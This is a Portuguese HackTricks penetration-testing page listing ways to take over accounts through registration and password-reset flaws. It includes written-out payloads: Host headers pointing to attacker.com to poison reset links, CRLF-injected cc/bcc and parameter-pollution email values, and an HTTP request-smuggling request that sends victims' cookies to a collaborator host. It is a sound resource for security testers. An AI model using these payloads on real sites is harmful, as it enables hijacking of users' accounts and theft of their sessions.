9.8 KiB
Vulnerabilidades de Registro e Tomada de Conta
{% hint style="success" %}
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Tomada de Conta de Registro
Registro Duplicado
- Tente gerar usando um nome de usuário existente
- Verifique variando o email:
- maiúsculas
- +1@
- adicione algum ponto no email
- caracteres especiais no nome do email (%00, %09, %20)
- Coloque caracteres pretos após o email:
test@test.com a
- victim@gmail.com@attacker.com
- victim@attacker.com@gmail.com
Enumeração de Nome de Usuário
Verifique se você consegue descobrir quando um nome de usuário já foi registrado dentro da aplicação.
Política de Senha
Ao criar um usuário, verifique a política de senha (verifique se você pode usar senhas fracas).
Nesse caso, você pode tentar forçar a autenticação de credenciais.
Injeção de SQL
Verifique esta página para aprender como tentar tomadas de conta ou extrair informações via SQL Injections em formulários de registro.
Tomadas de Conta Oauth
{% content-ref url="oauth-to-account-takeover.md" %} oauth-to-account-takeover.md {% endcontent-ref %}
Vulnerabilidades SAML
{% content-ref url="saml-attacks/" %} saml-attacks {% endcontent-ref %}
Alterar Email
Quando registrado, tente alterar o email e verifique se essa alteração é validada corretamente ou se pode mudá-lo para emails arbitrários.
Mais Verificações
- Verifique se você pode usar emails descartáveis
- Senha Longa (>200) leva a DoS
- Verifique os limites de taxa na criação de contas
- Use username@burp_collab.net e analise o callback
Tomada de Conta de Redefinição de Senha
Vazamento de Token de Redefinição de Senha Via Referenciador
- Solicite a redefinição de senha para seu endereço de email
- Clique no link de redefinição de senha
- Não altere a senha
- Clique em qualquer site de terceiros (ex: Facebook, Twitter)
- Intercepte a solicitação no proxy Burp Suite
- Verifique se o cabeçalho referer está vazando o token de redefinição de senha.
Envenenamento de Redefinição de Senha
- Intercepte a solicitação de redefinição de senha no Burp Suite
- Adicione ou edite os seguintes cabeçalhos no Burp Suite:
Host: attacker.com
,X-Forwarded-Host: attacker.com
- Encaminhe a solicitação com o cabeçalho modificado
http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
- Procure uma URL de redefinição de senha com base no cabeçalho host como:
https://attacker.com/reset-password.php?token=TOKEN
Redefinição de Senha Via Parâmetro de Email
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
IDOR em Parâmetros de API
- O atacante deve fazer login com sua conta e ir para a funcionalidade Alterar senha.
- Inicie o Burp Suite e intercepte a solicitação.
- Envie para a aba de repetição e edite os parâmetros: ID do usuário/email
powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})
Token de Redefinição de Senha Fraco
O token de redefinição de senha deve ser gerado aleatoriamente e ser único a cada vez.
Tente determinar se o token expira ou se é sempre o mesmo; em alguns casos, o algoritmo de geração é fraco e pode ser adivinhado. As seguintes variáveis podem ser usadas pelo algoritmo.
- Timestamp
- UserID
- Email do Usuário
- Primeiro e Último Nome
- Data de Nascimento
- Criptografia
- Apenas Números
- Sequência de token pequena (caracteres entre [A-Z,a-z,0-9])
- Reutilização de token
- Data de expiração do token
Vazamento de Token de Redefinição de Senha
- Acione uma solicitação de redefinição de senha usando a API/UI para um email específico, por exemplo: test@mail.com
- Inspecione a resposta do servidor e verifique o
resetToken
- Em seguida, use o token em uma URL como
https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]
Redefinição de Senha Via Colisão de Nome de Usuário
- Registre-se no sistema com um nome de usuário idêntico ao nome de usuário da vítima, mas com espaços em branco inseridos antes e/ou depois do nome de usuário. por exemplo:
"admin "
- Solicite uma redefinição de senha com seu nome de usuário malicioso.
- Use o token enviado para seu email e redefina a senha da vítima.
- Conecte-se à conta da vítima com a nova senha.
A plataforma CTFd foi vulnerável a este ataque.
Veja: CVE-2020-7245
Tomada de Conta Via Cross Site Scripting
- Encontre um XSS dentro da aplicação ou em um subdomínio se os cookies estiverem escopados para o domínio pai:
*.domain.com
- Vaze o cookie de sessões atual
- Autentique-se como o usuário usando o cookie
Tomada de Conta Via HTTP Request Smuggling
1. Use smuggler para detectar o tipo de HTTP Request Smuggling (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. Crie uma solicitação que sobrescreva o POST / HTTP/1.1
com os seguintes dados:
GET http://something.burpcollaborator.net HTTP/1.1 X:
com o objetivo de redirecionar as vítimas para burpcollab e roubar seus cookies
3. A solicitação final pode parecer com o seguinte
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
Hackerone reports exploiting this bug
* https://hackerone.com/reports/737140
* https://hackerone.com/reports/771666
Tomada de Conta via CSRF
- Crie um payload para o CSRF, por exemplo: “formulário HTML com envio automático para uma alteração de senha”
- Envie o payload
Tomada de Conta via JWT
JSON Web Token pode ser usado para autenticar um usuário.
- Edite o JWT com outro ID de Usuário / Email
- Verifique a assinatura fraca do JWT
{% content-ref url="hacking-jwt-json-web-tokens.md" %} hacking-jwt-json-web-tokens.md {% endcontent-ref %}
Referências
{% hint style="success" %}
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para os repositórios do HackTricks e HackTricks Cloud.